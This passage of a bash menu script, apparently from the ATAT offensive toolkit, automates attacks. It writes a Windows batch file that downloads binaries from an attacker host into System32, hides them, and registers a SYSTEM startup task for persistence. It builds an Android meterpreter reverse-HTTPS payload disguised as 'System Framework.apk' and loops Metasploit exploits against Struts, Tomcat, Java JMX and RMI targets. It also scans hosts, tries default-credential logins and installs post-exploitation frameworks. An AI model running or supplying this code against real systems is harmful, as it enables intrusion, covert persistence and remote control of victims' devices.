echo -e "\e[1;34mDone! Your payload is located at /var/www/html...\e[0m"
echo ""
echo -e "\e[1;34mWhen you are ready to connect to the victim, in your terminal enter:\e[0m"
echo "dbd -nv victim.host.orip -p $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
;;
"DBD Reboot Persistence Generator - Windows")
read -p 'Set LHOST IP or Domain Name & Port (if necessary i.e., 1.1.1.1 OR 1.1.1.1:8080): ' userhost;
touch ~/ATAT/DBD_reboot.bat
echo del /A:H \"%WINDIR%\\System32\\taskmgnt.exe\" > ~/ATAT/DBD_reboot.bat
echo taskkill /F /IM winmgnt.exe >> ~/ATAT/DBD_reboot.bat
echo del /A:H \"%WINDIR%\\System32\\winmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo powershell \(new-object System.Net.WebClient\).DownloadFile\(\'http://$userhost/winmgnt.txt\',\'%WINDIR%\\System32\\winmgnt.exe\'\) >> ~/ATAT/DBD_reboot.bat
echo powershell \(new-object System.Net.WebClient\).DownloadFile\(\'http://$userhost/taskmgnt.txt\',\'%WINDIR%\\System32\\taskmgnt.exe\'\) >> ~/ATAT/DBD_reboot.bat
echo attrib +H +S \"%WINDIR%\\System32\\winmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo attrib +H +S \"%WINDIR%\\System32\\\taskmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo %WINDIR%\\System32\\\taskmgnt.exe -i -d -s /accepteula %WINDIR%\\System32\\winmgnt.exe >> ~/ATAT/DBD_reboot.bat
echo schtasks /create /sc onstart /tn WindowsMgr /rl highest /ru SYSTEM /tr \"%WINDIR%\\System32\\winmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo -e "\E[1;34m::::: \e[97mDBD_reboot.bat saved to ~/ATAT. Upload to device in %WINDIR%\System32\ and run from a SYSTEM shell in that same directory.\E[1;34m:::::"
;;
"Android")
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport;
msfvenom -f raw -p android/meterpreter/reverse_https LHOST=$userhost LPORT=$userport -o "System Framework.jar"
cp "System Framework.jar" "System Framework.apk"
rm "System Framework.jar"
echo -e "\E[1;34m::::: \e[97mSystem Framework.apk saved to ~/ATAT. Upload to device, install, and run.\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mStart an android/meterpreter/reverse_https listener\E[1;34m:::::"
;;
"Main Menu")
~/ATAT-chroot/ATAT.sh
;;
"Quit")
echo "Aufiederszehn" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"5" | "5" )
#
echo -e "\E[1;34m::::: \e[97mArmitage Launcher \E[1;34m:::::"
echo "armitage should be in /opt/armitage"
echo -e "\E[1;34m::::: \e[97mLaunching...\E[1;34m:::::"
armitage
;;
"6" | "6" )
echo -e "\E[1;34m::::: \e[97mExploit All The Things!!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT FORGET TO START YOUR APPROPRIATE LISTENER!!\E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 7=Main Menu | 8=QUIT: '
options=("Multi-Target" "Multi-Port" "Multi-Target Struts" "Multi-Target Tomcat" "Multi-Target Java JMX" "Multi-Target Java RMI" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Multi-Target")
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set RPORT: ' targetport; read -p 'Set EXPLOIT_PATH: ' userexploit; read -p 'Set PAYLOAD: ' userpayload;
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
msfconsole -x "use $userexploit;\
set LHOST $userhost;\
set LPORT $userport;\
set RHOST $IP;\
set RPORT $targetport;\
set PAYLOAD $userpayload;\
set DisablePayloadHandler true;\
run;\
exit"
done
echo -e "\E[1;34m::::: \e[97mAll Targets Have Been Tested! Check Your Listener for Sessions!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mEnter\e[31m resource '/root/ATAT/ATAT_multi_post.rc'\e[97m in listener window to run post exploitation modules\E[1;34m:::::"
;;
"Mulit-Port")
echo -e "\E[1;34m::::: \e[97mExploit All The Ports!!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT FORGET TO START YOUR APPROPRIATE LISTENER!!\E[1;34m:::::"
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set EXPLOIT_PATH: ' userexploit; read -p 'Set PAYLOAD: ' userpayload; read -p 'Set RHOST: ' usertarget;
inputfile=~/ATAT/MSF_target_ports.txt
for PORT in $(cat $inputfile)
do
msfconsole -x "use $userexploit;\
set LHOST $userhost;\
set LPORT $userport;\
set RHOST $usertarget;\
set RPORT $PORT;\
set PAYLOAD $userpayload;\
set DisablePayloadHandler true;\
run;\
exit"
done
echo -e "\E[1;34m::::: \e[97mAll Targets Have Been Tested! Check Your Listener for Sessions!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mEnter\e[31m resource '/root/ATAT/ATAT_multi_post.rc'\e[97m in listener window to run post exploitation modules\E[1;34m:::::"
;;
"Multi-Target Struts")
echo -e "\E[1;34m::::: \e[97mExploit All The Apache Struts!!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT FORGET TO START YOUR APPROPRIATE LISTENER!!\E[1;34m:::::"
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set Attacker_Server_PORT: ' srvport; read -p 'Set RPORT: ' targetport; read -p 'Set EXPLOIT_PATH: ' userexploit; read -p 'Set PAYLOAD: ' userpayload; read -p 'Set TARGETURI: ' useruri;
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
msfconsole -x "use $userexploit;\
set LHOST $userhost;\
set LPORT $userport;\
set SRVPORT $srvport;\
set RPORT $targetport;\
set RHOST $IP;\
set PAYLOAD $userpayload;\
set TARGETURI $useruri;\
set DisablePayloadHandler true;\
run;\
exit"
done
echo -e "\E[1;34m::::: \e[97mAll Apache Struts Targets Have Been Tested! Check Your Listener for Sessions!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mEnter\e[31m resource '/root/ATAT/ATAT_multi_post.rc'\e[97m in listener window to run post exploitation modules\E[1;34m:::::"
;;
"Multi-Target Tomcat")
echo -e "\E[1;34m::::: \e[97mExploit All The Apache Tomcat!!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT FORGET TO START YOUR APPROPRIATE LISTENER!!\E[1;34m:::::"
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set Attacker_Server_PORT: ' srvport; read -p 'Set RPORT: ' targetport; read -p 'Set EXPLOIT_PATH: ' userexploit; read -p 'Set PAYLOAD: ' userpayload; read -p 'Set HttpPassword: (Blank if none)' userpassword; read -p 'Set HttpUsername: (Blank if none)' userusername;
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
msfconsole -x "use $userexploit;\
set LHOST $userhost;\
set LPORT $userport;\
set SRVPORT $srvport;\
set RPORT $targetport;\
set RHOST $IP;\
set PAYLOAD $userpayload;\
set HttpPassword $userpassword;\
set HttpUsername $userusername;\
set DisablePayloadHandler true;\
run;\
exit"
done
echo -e "\E[1;34m::::: \e[97mAll Apache Tomcat Targets Have Been Tested! Check Your Listener for Sessions!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mEnter\e[31m resource '/root/ATAT/ATAT_multi_post.rc'\e[97m in listener window to run post exploitation modules\E[1;34m:::::"
;;
"Multi-Target Java JMX")
echo -e "\E[1;34m::::: \e[97mExploit All The Java JMX!!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT FORGET TO START YOUR APPROPRIATE LISTENER!!\E[1;34m:::::"
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set Attacker_Server_PORT: ' srvport; read -p 'Set RPORT: ' targetport; read -p 'Set PAYLOAD: ' userpayload; read -p 'Set JMXRMI: ' userjmxrmi;
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
msfconsole -x "use exploit/multi/misc/java_jmx_server;\
set LHOST $userhost;\
set LPORT $userport;\
set SRVPORT $srvport;\
set RPORT $targetport;\
set RHOST $IP;\
set PAYLOAD $userpayload;\
set JMXRMI $userjmxrmi;\
set DisablePayloadHandler true;\
run;\
exit"
done
echo -e "\E[1;34m::::: \e[97mAll Java JMX Targets Have Been Tested! Check Your Listener for Sessions!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mEnter\e[31m resource '/root/ATAT/ATAT_multi_post.rc'\e[97m in listener window to run post exploitation modules\E[1;34m:::::"
;;
"Multi-Target Java RMI")
echo -e "\E[1;34m::::: \e[97mExploit All The Java RMI!!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT FORGET TO START YOUR APPROPRIATE LISTENER!!\E[1;34m:::::"
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set Attacker_Server_PORT: ' srvport; read -p 'Set RPORT: ' targetport; read -p 'Set PAYLOAD: ' userpayload; read -p 'Set HTTPDELAY: (default 10) ' userdelay;
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
msfconsole -x "use exploit/multi/misc/java_rmi_server;\
set LHOST $userhost;\
set LPORT $userport;\
set SRVPORT $srvport;\
set RPORT $targetport;\
set RHOST $IP;\
set PAYLOAD $userpayload;\
set HTTPDELAY $userdelay;\
set DisablePayloadHandler true;\
run;\
exit"
done
echo -e "\E[1;34m::::: \e[97mAll Java RMI Targets Have Been Tested! Check Your Listener for Sessions!\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mEnter\e[31m resource '/root/ATAT/ATAT_multi_post.rc'\e[97m in listener window to run post exploitation modules\E[1;34m:::::"
;;
"Main Menu")
~/ATAT-chroot/ATAT.sh
;;
"Quit")
echo "Aufiederszehn" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"7" | "7" )
echo -e "\E[1;34m::::: \e[97mScan All The Things!!\E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 11=Main Menu | 12=QUIT: '
options=("Multi-Port Auxiliary" "Multi-Target/Port Auxiliary" "Multi-Target SNMP Enumeration" "Multi-Target Load Balancer Detection" "Multi-Target SSLScan" "Multi-Target SSLScan - With Masscan Results" "Multi-Target SSLScan - With Nmap Results" "Multi-Target Masscan of All TCP Ports" "Extract All IP:Port Combos From Nmap Output For SSLScan Processing" "changeme - Default Credential Checker" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Multi-Port Auxiliary")
read -p 'Set MODULE_PATH: ' usermodule; read -p 'Set RHOSTS: ' usertarget;
inputfile=~/ATAT/MSF_AUX_target_ports.txt
for PORT in $(cat $inputfile)
do
msfconsole -x "use $usermodule;\
set RHOSTS $usertarget;\
set RPORT $PORT;\
run;\
exit" | tee -a ~/ATAT/Multi_Port_AUX_logs.txt
done
echo -e "\E[1;34m::::: \e[97mAll Targets Have Been Scanned; Output Is In ~/ATAT/Multi_Port_AUX_logs.txt \E[1;34m:::::"
;;
"Multi-Target/Port Auxiliary")
echo -e "\E[1;34m::::: \e[97mBecause Sometimes You Need To Hit More Targets Than The MSF RHOSTS Option Can Handle \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mRemember To Have Your Targets In ~/ATAT/MSF_targets.txt \E[1;34m:::::"
read -p 'Set MODULE_PATH: ' usermodule;
inputfile=~/ATAT/MSF_AUX_target_ports.txt
targetfile=~/ATAT/MSF_targets.txt
for PORT in $(cat $inputfile)
do
msfconsole -x "use $usermodule;\
set RHOSTS file:$targetfile;\
set RPORT $PORT;\
run;\
exit" | tee -a ~/ATAT/Multi_TargetPort_AUX_logs.txt
done
echo -e "\E[1;34m::::: \e[97mAll Targets Have Been Scanned; Output Is In ~/ATAT/Multi_TargetPort_AUX_logs.txt \E[1;34m:::::"
;;
"Multi-Target SNMP Enumeration")
echo -e "\E[1;34m::::: \e[97mDump All The SNMP!!\E[1;34m:::::"
read -p 'Set RPORT (default=161): ' targetport; read -p 'Set Community String (default=public): ' userstring; read -p 'Set SNMP Version (default=1): ' userversion;
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
msfconsole -x "use auxiliary/scanner/snmp/snmp_enum;\
set RPORT $targetport;\
set RHOSTS $IP;\
set COMMUNITY $userstring;\
set VERSION $userversion;\
run;\
exit" | tee -a ~/ATAT/SNMP_logs.txt
done
echo -e "\E[1;34m::::: \e[97mAll Targets' SNMP Have Been Enumerated!\E[1;34m:::::"
;;
"Multi-Target Load Balancer Detection")
echo -e "\E[1;34m::::: \e[97mMulti-Target Load Balancer Detection\E[1;34m:::::"
inputfile=~/ATAT/MSF_targets.txt
outputfile=~LBD_Results_temp.txt
for IP in $(cat $inputfile)
do
lbd $IP | tee $outputfile
cat $outputfile >> LBD_Results.txt
done
rm $outputfile
echo -e "\E[1;34m::::: \e[97mAll Targets Have Been Processed!\E[1;34m:::::"
;;
"Multi-Target SSLScan")
echo -e "\E[1;34m::::: \e[97mMulti-Target SSLScan\E[1;34m:::::"
inputfile=~/ATAT/MSF_targets.txt
outputfile=SSLScan_Results.txt
for IP in $(cat $inputfile)
do
sslscan --no-failed --no-rejected --certificate-info --verbose $IP | tee -a $outputfile
cat $outputfile | egrep "Testing|RC4" | grep -B1 RC4 >> rc4.txt
cat $outputfile | egrep "Testing|SSLv2" | grep -B1 SSLv2 >> sslv2.txt
cat $outputfile | egrep -B1 "Testing|SSLv3|TLSv1.0" >> heartbleed_targets.txt
cat $outputfile | egrep "Testing|EXP" | grep -B1 EXP >> freak.txt
cat $outputfile | egrep "Testing|40 |56 " | egrep -B1 "40 |56 " >> weak_ciphers.txt
cat $outputfile | egrep "Testing|After" | grep -B1 After >> expired_certs.txt
cat $outputfile | egrep "Testing|Certificate|Subject|Issuer|valid" | grep -B1 -A4 Certificate >> ssl_certs.txt
done
echo -e "\E[1;34m::::: \e[97mCheck ATAT Folder for results!\E[1;34m:::::"
;;
"Multi-Target SSLScan - With Masscan Results")
echo -e "\E[1;34m::::: \e[97mMulti-Target SSLScan\E[1;34m:::::"
inputfile=~SSLScan_masscan_results.txt
outputfile=~SSLScan_Results.txt
for IP in $(cat $inputfile)
do
sslscan --no-failed --no-rejected --certificate-info --verbose $IP | tee -a $outputfile
cat $outputfile | egrep "Testing|RC4" | grep -B1 RC4 >> rc4.txt
cat $outputfile | egrep "Testing|SSLv2" | grep -B1 SSLv2 >> sslv2.txt
cat $outputfile | egrep -B1 "Testing|SSLv3|TLSv1.0" >> heartbleed_targets.txt
cat $outputfile | egrep "Testing|EXP" | grep -B1 EXP >> freak.txt
cat $outputfile | egrep "Testing|40 |56 " | egrep -B1 "40 |56 " >> weak_ciphers.txt
cat $outputfile | egrep "Testing|After" | grep -B1 After >> expired_certs.txt
cat $outputfile | egrep "Testing|Certificate|Subject|Issuer|valid" | grep -B1 -A4 Certificate >> ssl_certs.txt
done
echo -e "\E[1;34m::::: \e[97mCheck ATAT Folder for results!\E[1;34m:::::"
;;
"Multi-Target SSLScan - With Nmap Results")
echo -e "\E[1;34m::::: \e[97mMulti-Target SSLScan\E[1;34m:::::"
inputfile=SSLScan_nmap_results.txt
outputfile=~SSLScan_Results.txt
for IP in $(cat $inputfile)
do
sslscan --no-failed --no-rejected --certificate-info --verbose $IP | tee -a $outputfile
cat $outputfile | egrep "Testing|RC4" | grep -B1 RC4 >> rc4.txt
cat $outputfile | egrep "Testing|SSLv2" | grep -B1 SSLv2 >> sslv2.txt
cat $outputfile | egrep -B1 "Testing|SSLv3|TLSv1.0" >> heartbleed_targets.txt
cat $outputfile | egrep "Testing|EXP" | grep -B1 EXP >> freak.txt
cat $outputfile | egrep "Testing|40 |56 " | egrep -B1 "40 |56 " >> weak_ciphers.txt
cat $outputfile | egrep "Testing|After" | grep -B1 After >> expired_certs.txt
cat $outputfile | egrep "Testing|Certificate|Subject|Issuer|valid" | grep -B1 -A4 Certificate >> ssl_certs.txt
done
echo -e "\E[1;34m::::: \e[97mCheck ATAT Folder for results!\E[1;34m:::::"
;;
"Multi-Target Masscan of All TCP Ports")
echo -e "\E[1;34m::::: \e[97mMasscan All TCP Ports\E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 4=Main Menu | 5=QUIT: '
options=("Run" "Options (enter manual targets for pause/resume support)" "Resume" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Run")
inputfile=~/ATAT/MSF_targets.txt
outputfile=~masscan_results.txt
for IP in $(cat $inputfile)
do
masscan $IP -p0-65535 --rate 1000 | tee $outputfile
cat $outputfile | egrep "Discovered open port" | grep -B1 open >> Open_Ports.txt
sed "/Discovered open port /s/Discovered open port /""/g" ~masscan_results.txt > ~masscan_results1.txt
awk -F/ '{ print $2 ":" $1 }' ~masscan_results1.txt > ~masscan_results2.txt
sed "/tcp on /s/tcp on /""/g" ~masscan_results2.txt >> ~masscan_results3.txt
sed "/ /s/ /""/g" ~masscan_results3.txt >> ~SSLScan_masscan_results.txt
rm ~masscan_results*.txt
done
echo -e "\E[1;34m::::: \e[97mAll TCP Ports Have Been Scanned!\E[1;34m:::::"
;;
"Options (enter manual targets for pause/resume support)")
outputfile=~masscan_results.txt
read -p 'Enter Target IPs (space delimited):' usertargets;
masscan $usertargets -p0-65535 --rate 1000 | tee $outputfile
cat $outputfile | egrep "Discovered open port" | grep -B1 open >> Open_Ports.txt
sed "/Discovered open port /s/Discovered open port /""/g" ~masscan_results.txt > ~masscan_results1.txt
awk -F/ '{ print $2 ":" $1 }' ~masscan_results1.txt > ~masscan_results2.txt
sed "/tcp on /s/tcp on /""/g" ~masscan_results2.txt >> ~masscan_results3.txt
sed "/ /s/ /""/g" ~masscan_results3.txt >> ~SSLScan_masscan_results.txt
rm ~masscan_results*.txt
echo -e "\E[1;34m::::: \e[97mAll TCP Ports Have Been Scanned!\E[1;34m:::::"
;;
"Resume")
masscan --resume paused.conf
;;
"Main Menu")
~/ATAT-chroot/ATAT.sh
;;
"Quit")
echo "Aufiederszehn" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"Extract All IP:Port Combos From Nmap Output For SSLScan Processing")
echo -e "\E[1;34m::::: \e[97mNmap Output From \"Intense\" Scan Profiles Only\E[1;34m:::::"
read -p 'Enter Full Path Including File Name Of Nmap Output (/root/output.xml):' useroutput;
#cat $useroutput | egrep "Discovered open port" | grep -B1 open >> Open_Ports.txt
sed "/Discovered open port /s/Discovered open port /""/g" $useroutput > ~nmap_results1.txt
awk -F/ '{ print $2 ":" $1 }' ~nmap_results1.txt > ~nmap_results2.txt
sed "/tcp on /s/tcp on /""/g" ~nmap_results2.txt >> ~nmap_results3.txt
sed "/ /s/ /""/g" ~nmap_results3.txt >> ~nmap_results4.txt
grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}' ~nmap_results4.txt >> SSLScan_nmap_results.txt
rm ~nmap_results*.txt
echo -e "\E[1;34m::::: \e[97mNmap Output Has Been Processed. Results Are In ~/ATAT/SSLScan_nmap_results.txt\E[1;34m:::::"
;;
"changeme - Default Credential Checker")
echo -e "\E[1;34m::::: \e[97mchangeme Default Password Checker WILL Attempt To Login To The Systems You Are Scanning. This Is NOT Passive. \E[1;34m:::::"
inputfile=~/ATAT/MSF_targets.txt
for IP in $(cat $inputfile)
do
python ~/changeme/changeme.py -a --timeout 5 $IP --fresh | tee -a ~/ATAT/Default_Creds.txt
done
echo -e "\E[1;34m::::: \e[97mAll Resylts Have Been Saved To ~/ATAT/Default_Creds.txt \E[1;34m:::::"
;;
"Main Menu")
~/ATAT-chroot/ATAT.sh
;;
"Quit")
echo "Aufiederszehn" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"8" | "8" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mCheck for Dependencies\E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mPowershell Empire & DeathStar Option Should Only Be Run If You Are Logged In As root!!\E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 10=Main Menu | 11=QUIT: '
options=("Powershell Empire & DeathStar" "Dependencies" "DBD Installer" "Airgeddon Install Workaround" "WiFi Jammer Install" "changeme Install" "Apt Update Fix" "Pupy Install" "BeRoot Install" "Main Menu" "Quit") #"HostAPD-WPE via Github"
select opt in "${options[@]}"
do
case $opt in
"Powershell Empire & DeathStar")
git clone https://github.com/EmpireProject/Empire ~/Empire
cd ~/Empire/setup && chmod +x install.sh && pip install editorconfig && pip install hackersh && pip install wafw00f && pip install Markdown && pip install pysnmp && pip install jsbeautifier && pip install mitmproxy && ./install.sh && cd .. && chmod +x empire && cd ..
git clone https://github.com/byt3bl33d3r/DeathStar ~/DeathStar
cd ~/DeathStar && pip install -r requirements.txt && pip3 install -r requirements.txt
cd ..
echo -e "\e[1;34m[*] Install Of Powershell Empire & DeathStar Complete\e[0m\n"
;;
"Dependencies")
clear
echo -e "\e[1;34m[*] Performing an APT Update prior to installing dependencies...\e[0m\n"
sleep 3
apt-get update
echo ""
echo -e "\e[1;32m[+] APT Update complete...\e[0m"
sleep 3
clear
echo -e "\e[1;34m[*] Please wait while I install some dependencies...\e[0m\n"
sleep 3
clear
# updatedb
mkdir /tmp/ATAT/
echo ""
reqs="gcc gcc-mingw-w64-i686 curl jq bettercap libssl-dev libnl-genl-3-dev hostapd-wpe lynx airgeddon hostapd lighttpd asleap python-pip python-scapy gawk libxml2-dev libxslt1-dev unixodbc-dev git libssl1.0-dev libffi-dev python-dev tcpdump python-virtualenv"
for i in $reqs; do
dpkg -s "$i" &> /tmp/ATAT/$i-install.txt
isinstalled=$(cat /tmp/ATAT/$i-install.txt | grep -o "Status: install ok installed")
if [ ! -e /usr/bin/$i ] && [ ! -e /usr/sbin/$i ] && [ ! -e /usr/local/sbin/$i ] && [ ! -e /usr/local/bin/$i ] && [ -z "$isinstalled" ]; then
echo -e "\e[1;34m[-] It doesn't appear that $i is installed on your system. Installing it now...\e[0m"
echo ""
if [ ! -z $(apt-get install -y "$i" | grep -o "E: Couldn") ]; then
echo -e "\e[1;31m[-] I had a hard time installing $i from the Kali-Linux repository.\e[0m"
touch /tmp/ATAT/$i-fail.txt
else
dpkg -s "$i" &> /tmp/ATAT/$i-install.txt
isinstalled=$(cat /tmp/ATAT/$i-install.txt | grep -o "Status: install ok installed")
if [ ! -z "$isinstalled" ]; then
update=1
echo -e "\e[1;32m[+] Good news, $i installed without any issues.\e[0m"
echo ""
sleep 2
else
echo ""
echo -e "\e[1;31m[!] It doesn't appear that I will be able to install $i right now.\e[0m"
echo ""
sleep 2
fi
fi